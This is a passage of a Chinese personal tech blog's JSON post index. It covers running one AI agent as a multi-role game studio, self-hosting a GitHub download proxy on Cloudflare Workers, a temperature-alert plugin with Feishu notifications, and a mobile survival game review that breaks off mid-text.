[{"content":" 前情：《两天半，1 个人 + 1 个 AI，我造了一家游戏工作室》——我靠一个 WorkBuddy Agent，两天半做出可联机桌游《烽决》。这篇拆方法论的内核：怎么把一个 AI 当一支团队使。\n一、先纠正一个误区：「一个 AI」不等于「一个员工」 大多数人对 AI 编程的想象是：一个很能干的员工，你下需求，他写代码。这么用，你只能得到一个累死的全栈实习生。\n我的用法是：一个 Agent，多个会话，每个会话绑定一个专家角色——PM、前端、后端、规则设计师、美术、音效、DevOps。它们不共享对话记忆，但共享同一批 Git 仓库和文档。这支「团队」的组织结构长这样：\n你（创意总监 + 终审） │ WorkBuddy Agent ┌────────┬────────┼────────┬─────────┐ PM 会话 前端会话 后端会话 美术会话 音效会话 │ │ │ │ │ └─────────┴────┬───┴────────┴─────────┘ 共享记忆：Git 仓库 + 文档 （五仓结构 / PRD / 数据清单 / 进度复盘 / 工作日志） 关键不是「多开会话」，而是每个会话只干一类事、只看自己该看的文档。PM 会话不写代码，前端会话不管部署，美术会话不碰规则。\n二、五个仓库，就是五个部门的「工位」 团队分工落到文件系统上，是五个 Git 仓库：\n仓库 相当于 职责 duelchess 前端部 React 同屏双人 + 在线对战界面 duelchess_rules 规则部 纯 TS 规则引擎，74 例单测，不含任何 UI duelchess_server 后端部 Cloudflare Worker + DO 实时对战 + D1/R2/KV duelchess_mapbuilder 工具部 地图编辑器，双层 schema + 预设块 聚合仓 总办 子模块指针 + 文档 + 发版 tag 为什么要拆这么细？因为仓库边界就是授权边界。让 AI 改规则引擎时，它物理上碰不到前端代码；发版时聚合仓 bump 子模块指针，五个仓打同一个 tag——这就是「部门汇报」的仪式感，也是回滚的单位。\n规则引擎单独成仓还有个隐藏收益：它是纯函数库，单测 74 例全绿就是「规则部 KPI」，任何平衡性调整都有 CI 门禁兜底。\n三、共享记忆：团队不脑爆，靠文档对齐 多会话最大的坑是上下文割裂：前端会话不知道 PM 会话刚定的口径，改着改着就跑偏。我的解法是把「团队记忆」全部外置成文件：\nPRD：立项时先让 AI 写一版给我审，之后所有会话按它对齐； 进度复盘：PM 会话定期产出，里程碑状态以代码实查为准，不凭记忆； 数据清单：宣发用的硬数字（130 提交 / 9.5k 行 / 74 单测），统一口径，谁引用谁看这份； 工作日志：每天一档，谁干了什么、踩了什么坑，下个会话先读日志再动手。 这套东西的本质是：把「开会」变成「读文档」。AI 会话之间不用同步，它们只需要在同一份事实源上工作。\n四、重资产并行：worktree 是美术部的「外包车间」 棋子贴图 142 张、音效 30 个（15 类），如果挤在主工作区串行做，主线代码会被美术资源提交淹没。我用 Git worktree 给美术和音效开了独立工作区：同一个仓库，物理隔离的目录，各改各的，最后合流。\n经验有三条：\n资产规格先行：先在文档里定死尺寸、命名、透明通道，美术会话照规格批量产出，返工率极低； 合流走 git，不走聊天：美术会话在自己的 worktree 提交，主线合并时冲突极少——因为改的文件本来就不重叠； AI 产资产要敢于抛弃：第一批贴图里不协调的直接扔，口头反馈「配色更暗、线条更粗」比精细的 prompt 调参有效。 五、插曲：让团队自己玩一局 方法论文讲完了，放个小插曲。为了给规则引擎做压力测试，我让两个 AI 在「勇往直前」地图上对打了一局——37 步，红方夺基地获胜。每手棋 AI 都写了决策理由，比如终局前：\n「攻击 b11——若 b11 是空陷阱则白吃通行，下回合直吃真基地获胜；若 b11 是真陷阱则同归于尽，但仍暴露 b12 基地供后续进攻。」\n结果是假基地诱饵被识破，3 级白吃通行，直取真基地。这局的完整复盘我单独整理了素材（含一局 743 步的马拉松），以后有机会展开——它证明了两件事：规则引擎扛得住长对局不崩，以及暗棋类游戏里 AI 的「情报账」算得比想象中细。\n六、管理成本没有消失，只是换了形态 必须诚实：AI 团队不是免费的。省掉的是沟通成本、招聘成本、工资；没省掉的是管理成本——它全部转移到你身上：\n口径漂移要你抓（两个会话对游戏定位的表述不一致，我盯着改的）； 误判要你纠（PM 会话曾断言「规则引擎没实现传送门」，实查后被打脸——AI 也会想当然）； 并行撞车要你仲裁（两个会话同时动前端，一个的 WIP 差点被另一个误提交）； 终审永远是你（发布、打 tag、推主干，这些按钮只能你按）。 一句话总结这套方法论：你从「最累的员工」变成「唯一的决断者」。两天半做一款游戏，靠的不是 AI 有多神，而是你把「管理」这件事本身做成了文档和流程。\n试玩入口：duel.tmoc.qzz.io（v1.0.0-alpha.1）。\n","permalink":"https://t1mmoc.github.io/posts/2026-09-29-ai-as-a-team/","summary":"\u003cblockquote\u003e\n\u003cp\u003e前情：\u003ca href=\"/posts/2026-09-28-ai-game-studio/\"\u003e《两天半，1 个人 + 1 个 AI，我造了一家游戏工作室》\u003c/a\u003e——我靠一个 WorkBuddy Agent，两天半做出可联机桌游《烽决》。这篇拆方法论的内核：\u003cstrong\u003e怎么把一个 AI 当一支团队使\u003c/strong\u003e。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1 id=\"一先纠正一个误区一个-ai不等于一个员工\"\u003e一、先纠正一个误区：「一个 AI」不等于「一个员工」\u003c/h1\u003e\n\u003cp\u003e大多数人对 AI 编程的想象是：一个很能干的员工，你下需求，他写代码。这么用，你只能得到一个累死的全栈实习生。\u003c/p\u003e\n\u003cp\u003e我的用法是：\u003cstrong\u003e一个 Agent，多个会话，每个会话绑定一个专家角色\u003c/strong\u003e——PM、前端、后端、规则设计师、美术、音效、DevOps。它们不共享对话记忆，但共享同一批 Git 仓库和文档。这支「团队」的组织结构长这样：\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e                你（创意总监 + 终审）\n                     │\n              WorkBuddy Agent\n     ┌────────┬────────┼────────┬─────────┐\n   PM 会话   前端会话  后端会话  美术会话  音效会话\n     │         │        │        │         │\n     └─────────┴────┬───┴────────┴─────────┘\n              共享记忆：Git 仓库 + 文档\n   （五仓结构 / PRD / 数据清单 / 进度复盘 / 工作日志）\n\u003c/code\u003e\u003c/pre\u003e\u003cimg width=\"1603\" height=\"713\" alt=\"PixPin_2026-09-29_11-45-16\" src=\"https://github.com/user-attachments/assets/a67a7e16-eb82-4128-bf5c-64b69c16f177\" /\u003e\n\u003cp\u003e关键不是「多开会话」，而是\u003cstrong\u003e每个会话只干一类事、只看自己该看的文档\u003c/strong\u003e。PM 会话不写代码，前端会话不管部署，美术会话不碰规则。\u003c/p\u003e","title":"【AIGC】把 AI 当团队用：一个 Agent，八个角色，怎么分工"},{"content":" 如果我说，一个只会写代码、不会画一张图、不会写一段旋律的人，用两天半时间，从零做出一款能联网对战的桌游——你大概会觉得我在吹牛。\n但这是真的。更关键的是：我没有雇人，没有外包，背后是一支「AI 工作室」——一个 WorkBuddy Agent，在我这个「创意总监 + 终审」的指挥下，分饰 PM、前端、后端、规则设计师、美术、音效、DevOps 八个角色。\n下面是这份「两天半造一家游戏工作室」的完整复盘。\n一、先上硬核数据 两天半 · 1 个人 · 1 个 WorkBuddy · 130 次提交 · 5 个仓库 9.5 千行核心源码 · 74 个单元测试全绿 · 4 张地图 · 173 张美术贴图 · 30 个音效 8 大管线一人包揽：前端 / 后端 / 规则引擎 / 地图编辑器 / 美术 / 音效 / CI·CD / 文档 （游戏叫《烽决》，一款军棋变体的双人——同屏 / 联机——战棋桌游。先记住名字，文末有试玩。）\n二、为什么做这件事 两个动机：\n我一直想做一款自己的桌游，但「全栈 + 美术 + 音效」的个人成本太高，永远停在念头。 我更好奇另一个问题：当 AI Agent 能切换专家角色时，「一人 + 一 AI」能不能等价于一支小型工作室？ 我想用一次真实交付来验证。 于是我给自己设了约束：只做创意决策和最终拍板，其余交给 Agent。\n三、核心方法论：把 AI 当「工作室」用，而不是当「写码工具」 绝大多数「AI 写游戏」的故事，本质是一个人用 Copilot 打字更快。我想验证的是另一回事——让一个 Agent 承担整支团队的角色，人退到「总监」位置。\n具体到《烽决》，我把 8 条管线映射成 Agent 的「专家模式」：\n工作室岗位 Agent 承担的工作 交付物 PM 里程碑拆分、进度复盘、风险红线 进度文档、发布策略 前端 Preact + TS + Vite 实现对战界面 可玩前端 后端 Cloudflare Worker + Durable Objects 实时对战 联机服务 规则设计师 军棋变体规则引擎 + 单测 共享 TS 包 地图设计师 6×13 棋盘、河流 / 草丛 / 铁道 / 传送门 4 张地图 + 编辑器 美术 棋子 / 棋盘 / UI 贴图 173 张图（专属 worktree 并行） 音效 30 个 wav 音效设计 音效包（专属 worktree 并行） DevOps CI/CD、Pages/Worker 部署、GitCode 镜像 自动部署流水线 关键不是「Agent 写了代码」，而是角色之间的上下文由我统一掌管——PM 视角定口径，前端 / 后端 / 规则共享同一份类型与数据契约，美术和音效并行在独立 worktree 里产出，最后由我终审合流。这恰恰是一家真实工作室的协作结构。\n四、数据佐证（含诚实的坑） 讲漂亮话容易，难的是经得起扒。\n代码量：4 个代码仓库合计 130 次提交、约 1.5 万行（含配置），其中近 1 万行核心源码。全程 Conventional Commits。 测试：规则引擎 74 个单元测试全绿（vitest 实跑）；服务端有测试文件；前端目前 0 自动化测试——这部分靠手测 + 线上 E2E 兜底，是我自己要补的债。 实测对局：早期内部对战因一个 bug（炸弹结算）没跑完，已修复，现在线上 E2E 已通过、可正常对局。 我把这些坑写进来，是因为「AI 工作室」的价值不在于它不出错，而在于出错到修复的闭环极短——一个 Agent 改完规则、跑通单测、重新部署，往往就在同一次对话里完成。\n五、技术亮点速览 《烽决》只是从军棋借了点灵感，但内容和军棋千差万别；真要说像什么，这棋盘看起来反而更接近斗兽棋。我真正做的，是下面这几个自己的机制：\n6×13 棋盘，河流 / 草丛 / 陷阱 / 基地四种地形；草丛里撞见对手会触发「同归于尽」式的暗战。 铁道滑行 + 传送门：棋子可沿铁路快速机动，传送门支持链式跳跃——这是规则引擎里最烧脑也最好玩的部分。 假基地机制：基地区可以放不可移动的「诱饵」棋子，迷惑对手的判断。 暗棋揭示（5 级）：联机时双方信息不完全公开，靠对局推进逐步揭示——这直接决定了后端要做信息隐藏 + 实时仲裁（Durable Objects 负责房间与权威状态）。 联网架构：Cloudflare Worker + Durable Objects 做实时对战房间，D1 存战绩、R2 存棋谱，KV 做会话缓存。一套 Serverless 全栈，零运维。 六、游戏亮相 + 试玩 《烽决》当前版本 v1.0.0-alpha.1（可玩 alpha）——功能完整、可联网对战，但仍是 alpha，平衡性和美术还在打磨。\n👉 试玩入口：duel.tmoc.qzz.io 👉 代码与规则引擎：GitHub 仓库（五个仓库，已全量镜像 GitCode 私有仓） 如果你试玩后发现某个机制太强 / 太弱，欢迎来告诉我——这游戏的规则引擎是参数化的，调整平衡性对 Agent 来说只是改一份配置。\n七、你可以抄走的「AI 工作室」工作流 如果也想试一次「一人 + 一 AI 造点东西」，我的几条经验：\n你只做创意总监 + 终审：把「要什么」说清楚，把「怎么做」交给 Agent 的专家模式。 用仓库 / 文档做「共享记忆」：PM 视角的进度文档、数据清单、发布策略，是让 Agent 在多轮对话里不丢失上下文的关键。 重资产（美术 / 音效）走并行 worktree：不阻塞主线，最后合流。 CI/CD 门禁保底：规则引擎单测、自动部署，让「改完即上线」可信。 诚实标注 alpha：别用「完成」骗自己，也骗不了读者。 这就是两天半里，1 个人 + 1 个 AI 造出的一家游戏工作室。下一篇我会拆「怎么给一个 Agent 分派 PM / 前端 / 美术角色」——那是这套方法论里最值钱的部分。\n系列预告：【AIGC】把 AI 当团队用 / 一款能联机的桌游背后：规则引擎 + DO 实时对战架构复盘 / 棋子贴图与 30 个音效，我是怎么用 AI worktree 并行产出的\n","permalink":"https://t1mmoc.github.io/posts/2026-09-28-ai-game-studio/","summary":"\u003cimg width=\"1135\" height=\"489\" alt=\"PixPin_2026-09-28_21-15-33\" src=\"https://github.com/user-attachments/assets/fdcd89d3-b460-4700-a082-6a0ebbaa0e80\" /\u003e\n\u003cp\u003e如果我说，一个只会写代码、不会画一张图、不会写一段旋律的人，用\u003cstrong\u003e两天半\u003c/strong\u003e时间，从零做出一款能联网对战的桌游——你大概会觉得我在吹牛。\u003c/p\u003e\n\u003cp\u003e但这是真的。更关键的是：我没有雇人，没有外包，背后是一支「AI 工作室」——一个 WorkBuddy Agent，在我这个「创意总监 + 终审」的指挥下，分饰 PM、前端、后端、规则设计师、美术、音效、DevOps 八个角色。\u003c/p\u003e\n\u003cimg width=\"243\" height=\"334\" alt=\"PixPin_2026-09-28_21-16-04\" src=\"https://github.com/user-attachments/assets/c4dd8235-c0e0-45d3-9812-36e026cc72bf\" /\u003e\n\u003cimg width=\"961\" height=\"708\" alt=\"PixPin_2026-09-28_21-16-46\" src=\"https://github.com/user-attachments/assets/adc7911b-3925-490b-b884-5a47f8d4f911\" /\u003e\n\u003cp\u003e下面是这份「两天半造一家游戏工作室」的完整复盘。\u003c/p\u003e\n\u003ch2 id=\"一先上硬核数据\"\u003e一、先上硬核数据\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e两天半\u003c/strong\u003e · 1 个人 · 1 个 WorkBuddy · \u003cstrong\u003e130 次提交\u003c/strong\u003e · \u003cstrong\u003e5 个仓库\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e9.5 千行核心源码\u003c/strong\u003e · \u003cstrong\u003e74 个单元测试全绿\u003c/strong\u003e · \u003cstrong\u003e4 张地图\u003c/strong\u003e · \u003cstrong\u003e173 张美术贴图\u003c/strong\u003e · \u003cstrong\u003e30 个音效\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e8 大管线一人包揽\u003c/strong\u003e：前端 / 后端 / 规则引擎 / 地图编辑器 / 美术 / 音效 / CI·CD / 文档\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e（游戏叫《烽决》，一款军棋变体的双人——同屏 / 联机——战棋桌游。先记住名字，文末有试玩。）\u003c/p\u003e","title":"【AIGC】两天半，1 个人 + 1 个 AI，我造了一家游戏工作室"},{"content":"最近拉 GitHub 上的 release 和 raw 文件，速度又回到了熟悉的几 KB/s。第三方聚合加速站（比如 github.akams.cn 那种测速导航）确实方便，但用别人的节点总有点不踏实：下载 URL 全程经过陌生人的 Worker，人家理论上能记录你访问了什么仓库、甚至改写内容，防不胜防。而且节点质量参差不齐，三天两头失联。\n既然自己有 Cloudflare，干脆自建一个。\n原理其实很简单 这类加速站的内核基本都是 hunshcn/gh-proxy 这个项目，逻辑一句话能讲完：把请求里的 GitHub 域名重写成代理域名，Worker 收到请求后转发给 GitHub，再把响应（顺便处理 302 跳转、CORS 头）流式吐回来。release 资产、raw 文件、archive 压缩包、git clone（smart http），理论上都走这一条链路。\n这次我选了 Geekertao 的 CF-Workers-GitHub-Proxy——在原版基础上补了 GitHub API 转发和 release-assets 签名地址的内部跟随，单文件 7KB，还是熟悉的 service worker 格式。\n部署：不用 wrangler，三条 curl 搞定 不想为一次部署在沙箱里装 npm 全家桶，直接走 CF 的 REST API。全程只需要一个 API Token（Account 级别的就够）。\n第一步，拿 zone_id（域名已经在 CF 托管，前提条件）：\ncurl -s \u0026#34;https://api.cloudflare.com/client/v4/zones?name=tmoc.qzz.io\u0026#34; \\ -H \u0026#34;Authorization: Bearer $CF_TOKEN\u0026#34; 第二步，上传脚本。老式 service worker 格式，注意 multipart 的 metadata 里要写 body_part: \u0026quot;file\u0026quot;——写成 main_module 会被当成 ES Module 解析直接报错：\ncurl -X PUT \u0026#34;https://api.cloudflare.com/client/v4/accounts/$CF_ACCOUNT/workers/scripts/gh-proxy\u0026#34; \\ -H \u0026#34;Authorization: Bearer $CF_TOKEN\u0026#34; \\ -F \u0026#39;metadata={\u0026#34;body_part\u0026#34;:\u0026#34;file\u0026#34;,\u0026#34;compatibility_date\u0026#34;:\u0026#34;2024-09-01\u0026#34;};type=application/json\u0026#39; \\ -F \u0026#39;file=@index.js\u0026#39; 第三步，绑定自定义域名。这一步会自动创建 DNS 记录并签发证书，不用去面板手动点，唯一的自定义动作就是想个好听点的子域名：\ncurl -X PUT \u0026#34;https://api.cloudflare.com/client/v4/accounts/$CF_ACCOUNT/workers/domains\u0026#34; \\ -H \u0026#34;Authorization: Bearer $CF_TOKEN\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;zone_id\u0026#34;:\u0026#34;\u0026lt;上一步拿到的\u0026gt;\u0026#34;,\u0026#34;hostname\u0026#34;:\u0026#34;gh.tmoc.qzz.io\u0026#34;,\u0026#34;service\u0026#34;:\u0026#34;gh-proxy\u0026#34;,\u0026#34;environment\u0026#34;:\u0026#34;production\u0026#34;}\u0026#39; 脚本本体从 jsdelivr 拉的——毕竟 raw.githubusercontent.com 直连本来就不可靠，用镜像站去下载镜像站的源码，多少有点行为艺术。\n验证 部署完逐项过了一遍：\nraw 文件：200，字节数与源文件一致 archive zip：200，解包正常 release 资产：拿 2.3MB 的 jq 二进制测的，经过 release-assets 签名跳转的内部跟随，完整拿到，file 识别为合法 ELF git clone：git ls-remote 秒回 HEAD commit，clone 走通 一个预期内的坑：GitHub API 转发链路是通的，但匿名请求常年 403。GitHub 给匿名 API 的限额是 60 次/小时/IP，而 CF Worker 的出口 IP 是全球共享池，基本永远被别人打满。好在我的主场景是文件下载，不走匿名 API，问题不大——如果你重度依赖 API 转发，这个限制要有心理准备。\n使用 前缀替换就完事：\n# clone git clone https://gh.tmoc.qzz.io/https://github.com/user/repo.git # release 资产 https://gh.tmoc.qzz.io/https://github.com/user/repo/releases/download/v1.0/file.zip # raw https://gh.tmoc.qzz.io/https://raw.githubusercontent.com/user/repo/main/README.md 浏览器下载大文件前，建议把 Chrome/Edge 的多线程下载打开（chrome://flags/#enable-parallel-downloading，改成 Enabled 后重启），配合前缀替换并行拉，体感直接翻倍。\n收尾 免费版 Worker 每天 10 万请求额度，个人使用绰绰有余。唯一要留意的是：自建域名是公开的，上线几分钟就会被扫描器收录，有人扫到会当免费公共节点白嫖。想限制的话，在脚本开头的 whiteList 数组里加上自己仓库的路径前缀再上传一版就行。\n从动手到上线不到十分钟，成本为零。部署记录进了知识库，下次要换脚本版本或者改配置，重新 PUT 一次就完事——这大概是我最近性价比最高的一次折腾。\n更新：加了访问验证 收尾里提到的 whiteList 我最后没用——路径白名单要维护列表，朋友想用还得先报仓库名。两天后我补了个更省事的门，把浏览器和命令行分开对待：\n浏览器：第一次点链接会先进一个人机验证页（Cloudflare Turnstile），过一下自动回到原地址，之后 30 天免验证、不限速。验证状态用 HMAC 签名的 HttpOnly cookie 记住，伪造不了。 命令行（curl / git / wget）：习惯完全不变，不用加任何参数，但走低额通道——每 IP 每分钟 30 次、每天 500 次，超了返回 429，等一分钟就恢复。 扫描器：没有 JS 环境，过不了验证页，永远卡在低额档，掀不起浪。 实现上有个值得记的坑：最初用 Cache API 做计数，并发一高 read-modify-write 就竞态，压测 33 并发一次都没拦住，限速形同虚设；换成 Durable Object 单实例串行计数才稳。另外在 Zone 层加了道 10 秒 300 请求的断路器兜底，防止验证通过后的多线程下载把额度瞬间打爆。\n代价是命令行重度用户（比如 CI）要自己注意频次，或者干脆也过一次验证拿 cookie。对个人和小圈子使用来说，这个取舍我觉得值。\n","permalink":"https://t1mmoc.github.io/posts/2026-09-27-gh-proxy/","summary":"\u003cp\u003e最近拉 GitHub 上的 release 和 raw 文件，速度又回到了熟悉的几 KB/s。第三方聚合加速站（比如 github.akams.cn 那种测速导航）确实方便，但用别人的节点总有点不踏实：下载 URL 全程经过陌生人的 Worker，人家理论上能记录你访问了什么仓库、甚至改写内容，防不胜防。而且节点质量参差不齐，三天两头失联。\u003c/p\u003e\n\u003cp\u003e既然自己有 Cloudflare，干脆自建一个。\u003c/p\u003e\n\u003ch2 id=\"原理其实很简单\"\u003e原理其实很简单\u003c/h2\u003e\n\u003cp\u003e这类加速站的内核基本都是 \u003ca href=\"https://github.com/hunshcn/gh-proxy\"\u003ehunshcn/gh-proxy\u003c/a\u003e 这个项目，逻辑一句话能讲完：把请求里的 GitHub 域名重写成代理域名，Worker 收到请求后转发给 GitHub，再把响应（顺便处理 302 跳转、CORS 头）流式吐回来。release 资产、raw 文件、archive 压缩包、git clone（smart http），理论上都走这一条链路。\u003c/p\u003e","title":"【AIGC】GitHub 下载龟速？我用 CF Worker 十分钟自建了一个专属加速节点"},{"content":"家里有台小服务器，平时跑着 AI 助手和一些自动化任务。大部分时间倒也没啥问题，但七八月份的室温一上去，加上编译大项目或者跑模型推理，CPU 和 GPU 温度经常蹭蹭往上涨。\n最烦的是——你根本不知道它热了。等你发现的时候，可能已经 90°C+ 跑了几个小时。\n需求其实很简单 我需要一个东西满足三件事：\n安静监控：开机就在后台跑，别弹窗、别占资源 过热告诉我：不用我主动去看，CPU/GPU 超阈值了自动通知 别刷屏：同一次过热只通知一次，冷却期内别重复发 正好我电脑上一直开着 TrafficMonitor（一个轻量的系统监控工具，直接在任务栏显示网速和温度），它提供了插件接口，看了一圈没人做过飞书告警的插件，那就自己写一个。\nTempWebhook：一个 C++ 写的 DLL 插件名叫 TempWebhook，本质上是一个 TrafficMonitor 插件 DLL。代码量不大，核心就 800 多行 C++：\n启动后自动读取 CPU/GPU 温度（TrafficMonitor 每 1 秒把数据传给插件） 超过阈值（默认 CPU 95°C / GPU 85°C）且不在冷却期内 → 飞书通知 内置 SHA-256 和 HMAC-SHA256（纯 C++ 实现，不依赖 OpenSSL） 通过 WinHTTP 发 HTTPS 请求，不走系统代理，避免梯子干扰 [threshold] cpu=95 ; CPU 温度阈值 gpu=85 ; GPU 温度阈值 cooldown_min=30 ; 冷却时间(分钟) [webhook] sign_mode=worker ; worker = CF 中继 | feishu = 直连 worker_url= ; 你的 CF Worker URL secret= ; 签名密钥 首次运行自动生成带默认值的配置文件，填好 webhook 信息就能用。也支持图形化设置对话框，在插件管理里右键点「选项」就能改。\n两种通知方案 默认走 CF Worker 中继模式，好处是不在本地存飞书机器人 token 和签名密钥——Worker 跑在 Cloudflare 上，本地只发 GET /?text=...\u0026amp;sign=\u0026lt;secret\u0026gt; 到 Worker，由 Worker 转发飞书。这样即使有人拿到你的 DLL，也拿不到飞书机器人的密钥。\n也可以直连飞书，用飞书官方的 HMAC-SHA256 签名方式。两种都支持，sign_mode 切一下就行。\n全链路延迟：从温度超标到飞书收到通知，通常 \u0026lt; 2 秒。\n附带一个小工具：温度图表 顺手写了个 Python 脚本 query_temp.py，从插件生成的温度历史 JSON 文件里抽取数据，输出摘要统计和 matplotlib 折线图：\n$ python query_temp.py { \u0026#34;current\u0026#34;: {\u0026#34;cpu\u0026#34;: 72, \u0026#34;gpu\u0026#34;: 53}, \u0026#34;stats\u0026#34;: { \u0026#34;cpu_max\u0026#34;: 81, \u0026#34;cpu_min\u0026#34;: 68, \u0026#34;cpu_avg\u0026#34;: 74.5, \u0026#34;gpu_max\u0026#34;: 55, \u0026#34;gpu_min\u0026#34;: 50, \u0026#34;gpu_avg\u0026#34;: 52.3 }, \u0026#34;count\u0026#34;: 30, \u0026#34;time_range\u0026#34;: {\u0026#34;start\u0026#34;: \u0026#34;14:22:10\u0026#34;, \u0026#34;end\u0026#34;: \u0026#34;14:27:00\u0026#34;, \u0026#34;seconds\u0026#34;: 290.0} } --chart 参数直接生成暗色主题折线图，适合塞进 Grafana 或者发给队友看。\n效果 跑了两周，实际上触发过三次告警——全是夏天下午编译大项目时 CPU 飙到 95°C。每次飞书弹出通知，我就去开个风扇或者降点负载。没这东西的话，可能一整个下午 CPU 都在高温线上硬撑。\nGitHub 开源（MIT）：https://github.com/t1mmoc/TempWebhook\n如果你也在家跑常驻任务，担心散热又不想没事就去点温度监控看看——装上试试，五分钟配完。\n","permalink":"https://t1mmoc.github.io/posts/2026-08-01-tempwebhook/","summary":"\u003cp\u003e家里有台小服务器，平时跑着 AI 助手和一些自动化任务。大部分时间倒也没啥问题，但七八月份的室温一上去，加上编译大项目或者跑模型推理，CPU 和 GPU 温度经常蹭蹭往上涨。\u003c/p\u003e\n\u003cp\u003e最烦的是——你根本不知道它热了。等你发现的时候，可能已经 90°C+ 跑了几个小时。\u003c/p\u003e\n\u003ch2 id=\"需求其实很简单\"\u003e需求其实很简单\u003c/h2\u003e\n\u003cp\u003e我需要一个东西满足三件事：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003e安静监控\u003c/strong\u003e：开机就在后台跑，别弹窗、别占资源\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e过热告诉我\u003c/strong\u003e：不用我主动去看，CPU/GPU 超阈值了自动通知\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e别刷屏\u003c/strong\u003e：同一次过热只通知一次，冷却期内别重复发\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e正好我电脑上一直开着 \u003ca href=\"https://github.com/zhongyang219/TrafficMonitor\"\u003eTrafficMonitor\u003c/a\u003e（一个轻量的系统监控工具，直接在任务栏显示网速和温度），它提供了插件接口，看了一圈没人做过飞书告警的插件，那就自己写一个。\u003c/p\u003e\n\u003ch2 id=\"tempwebhook一个-c-写的-dll\"\u003eTempWebhook：一个 C++ 写的 DLL\u003c/h2\u003e\n\u003cp\u003e插件名叫 \u003cstrong\u003eTempWebhook\u003c/strong\u003e，本质上是一个 TrafficMonitor 插件 DLL。代码量不大，核心就 800 多行 C++：\u003c/p\u003e","title":"【效率工具】家里跑 AI？我写了个温度告警插件，过热就飞书通知我"},{"content":"很多人听到\u0026quot;Rust\u0026quot;会下意识想到那门系统编程语言，但我要聊的其实是腾讯做的《失控进化》——它本质上是把 Rust 那套硬核生存玩法搬到了移动端。我肝了几天，整体感受特别分裂：有些设计真该让同行抄作业，有些地方又蠢到想砸手机。这篇不算严谨评测，就是掰开揉碎聊点真实体感，顺手给官方提点不成熟的设计建议。\n开局：慷慨的资源，和一格难求的背包 任何一款生存游戏，开局十几分钟的体感基本决定了你能不能留下来。《失控进化》在这一关明显下过功夫——木材、石材都是几百几百地往你脸上塞，最起码不会卡在\u0026quot;连个火把都点不起\u0026quot;的窘迫里；对比某些游戏前两小时还在捡树枝，这种起步节奏舒服得多。更让我意外的是那些人机（NPC），它们经常会主动送些好东西过来，当你懒得自己搓材料、只想赶紧把家支棱起来时，这波白送的物资简直救命，它让\u0026quot;发育\u0026quot;始终有一个保底缓冲，而不是纯靠刷脸。\n但舒服的开局很快撞上一堵墙：背包格子少得抠门。前期我其实挺夸它的分区设计——前 12 格固定给武器，武器还有 4 格配件栏，肌肉记忆一旦建立几乎不会临战换错，这种\u0026quot;克制的深度\u0026quot;在生存游戏里是稀缺品质。可一旦物资种类多起来，\u0026ldquo;这个舍不得扔、那个也舍不得扔\u0026quot;的焦虑立刻涌上来；而游戏又用\u0026quot;去掉负重系统\u0026quot;堵死了另一条扩容的路，于是格子成了唯一瓶颈，逼你频繁回家倒腾。开局送得越慷慨，后面塞得越焦虑，这套手感上的前后矛盾，是我在游戏里第一个明显的别扭。\n战斗的体贴，与制作的折磨 战斗这块是有巧思的。3 秒进入交战、10 秒脱离战斗、小帐篷能撑 1 小时——这三个数字背后是一整套对玩家情绪的体贴：你不会被不明不白的远程消耗拖死，脱战有明确预期，想安稳采会儿矿也有安全屋兜底。很多同类游戏在\u0026quot;紧张感\u0026quot;和\u0026quot;报复性骚扰\u0026quot;之间根本分不清，《失控进化》这套阈值调得相当明白。\n可惜这份体贴在\u0026quot;制作\u0026quot;环节被自己亲手推翻了。N 键制作到底在什么鬼地方？更离谱的是制作台本身，每次想搓点东西都得跑断一条腿过去，好不容易到了台子，造一把斧头要七秒读条——七秒。在生存游戏里，七秒的硬读条足够把你劝退三次。制作又远又慢叠在一起，等于把\u0026quot;搓装备\u0026quot;这件最高频的操作硬生生做成了体力活。再加上锁门速度慢得离谱，屋子本来就小，我都已经两次被人窜进来顺走东西了，安全感这东西，被一个慢吞吞的锁门动作彻底击碎。这里其实藏着我对这游戏最核心的一个判断：发育应该是可选的、战斗是即时的、失败是廉价的——而《失控进化》恰恰把三者全做反了，后面再细说。\n盖房子的两副面孔 盖房子本来是生存游戏最劝退的事，但《失控进化》的蓝图建家、一键升级、领地功能，我愿称之为完美——从画图纸到落地、从毛坯到升级，这条流水线把\u0026quot;盖房子\u0026quot;变得有正反馈、有节奏感，领地更是把\u0026quot;这是我的地盘\u0026quot;的安全感直接做进了机制里。\n讽刺的是，同样是\u0026quot;家\u0026quot;这个主题，建造交互本身却做得稀烂：切换积木、调整朝向、对齐网格，整个过程极其别扭，困难到我想给官方寄一本竞品说明书——《终末地》那套建造交互就明显更顺。明明建造是核心玩法，交互却停留在\u0026quot;能用但难受\u0026rdquo;，太可惜。更别提一个让我至今想不通的逻辑：领地内居然不能快速调用领地物资，都已经是我的地盘了，想就地拿点自己存的东西还要绕一圈。领地的\u0026quot;归属\u0026quot;感在机制上并没有带来配套的便利，徒有其名。\n发育链上的功过纠缠 